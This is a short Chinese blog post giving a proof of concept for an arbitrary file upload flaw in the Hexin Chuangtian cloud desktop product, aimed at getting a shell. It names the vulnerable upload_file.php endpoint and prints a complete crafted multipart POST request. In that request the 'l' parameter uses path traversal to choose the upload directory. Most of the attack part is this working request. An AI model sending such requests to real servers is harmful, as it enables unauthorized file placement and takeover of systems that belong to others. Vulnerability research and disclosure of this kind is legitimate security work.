和信创天云桌面任意文件上传

这里写自定义目录标题

  • 和信创天云桌面文件上传getshell

和信创天云桌面文件上传getshell

和信创天云桌面任意文件上传_第1张图片
漏洞地址

http://xx.xx.xx.xx/Upload/upload_file.php

和信创天云桌面任意文件上传_第2张图片
存在漏洞

构造post包

POST https://x.x.x.x/Upload/upload_file.php?l=../test HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 732

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/avif

1
------WebKitFormBoundaryfcKRltGv--

和信创天云桌面任意文件上传_第3张图片

l参数可以构造上传目录

你可能感兴趣的:(安全漏洞,渗透测试)